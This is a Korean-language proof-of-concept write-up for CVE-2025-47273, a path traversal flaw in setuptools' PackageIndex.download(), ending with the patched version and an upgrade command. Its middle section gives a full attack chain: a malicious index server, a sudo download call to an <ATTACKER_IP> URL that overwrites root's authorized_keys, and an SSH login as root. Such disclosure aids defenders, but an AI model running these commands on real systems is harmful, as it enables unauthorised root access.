
CVE-2025-47273은 setuptools 라이브러리 ,특히 버전 78.1.0 .에서 높은 심각도의 경로 탐색 취약점입니다.
이 개념 증명(PoC)은 교육 목적과 공인된 보안 감사만을 위해 작성되었습니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다.
CVE-2025-47273은 setuptools 라이브러리(v78.1.0 및 이전 버전)의 package_index 모듈에서 발견된 경로 탐색 취약점입니다. 이 취약점으로 인해 공격자는 특수하게 조작된 URL을 PackageIndex.download() 메서드에 제공하여 임의의 파일 쓰기를 수행할 수 있습니다.
이 결함은 Python의 os.path.join() 함수의 일반적인 함정에서 비롯됩니다. Python 문서에 따르면:
구성 요소가 절대 경로인 경우 이전의 모든 구성 요소는 버려지고 절대 경로 구성 요소부터 결합이 계속됩니다.
취약한 버전의 setuptools에서는 URL에서 이름을 추출하고 임시 디렉터리와 결합하여 대상 파일 이름을 결정합니다.
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
공격자가 제공한 URL에서 파일 이름 부분(URL 디코딩 후)이 슬래시 /로 시작하면 os.path.join은 tmpdir 접두사를 버리고 URL에 제공된 절대 경로를 반환합니다.
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. URL Decoding
v
[ Decoded Filename (name) ]
"/etc/passwd"
|
| 2. Vulnerable Function Call
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Python os.path.join Logic
v
[ Resulting Path (filename) ]
"/etc/passwd" <-- /tmp/download_dir is discarded!
대상 경로를 절대 경로로 조작할 수 있으므로 공격자는 프로세스에 쓰기 권한이 있는 파일 시스템의 모든 위치에 임의의 콘텐츠를 쓸 수 있습니다.
setuptools를 사용하는 프로세스가 상승된 권한(예: 시스템 전체 설치 프로그램)으로 실행되는 경우 공격자는 /etc/passwd, /root/.ssh/authorized_keys, /etc/shadow 등 중요한 시스템 파일을 덮어쓸 수 있습니다. 기타 여러 가능성이 있습니다...~/.bashrc, ~/.ssh/authorized_keys와 같은 사용자 수준 구성 파일을 덮어쓰거나 기존 Python 라이브러리에 코드를 주입하면 지속적인 원격 코드 실행으로 이어질 수 있습니다./root/.ssh/authorized_keys 덮어쓰기)이 취약점은 setuptools 버전 78.1.0에 존재합니다.
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
server.py 스크립트는 악성 패키지 인덱스 역할을 합니다. 요청된 경로와 관계없이 페이로드 파일을 제공하며, 제공되는 파일은 id_rsa.pub입니다.
python3 server.py 80
이 명령어를 사용하여 파일 쓰기를 트리거한 다음 미리 생성한 SSH 키 쌍으로 루트에 SSH로 접속할 수 있습니다.
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<target-ip>
이 취약점은 setuptools 버전 78.1.1에서 해결되었습니다. 수정 사항은 URL에서 파생된 name 변수를 엄격히 검사하여 os.path.join()에 전달되기 전에 선행 슬래시나 드라이브 문자가 포함되지 않도록 하는 것입니다.
환경을 보호하려면:
pip install --upgrade setuptools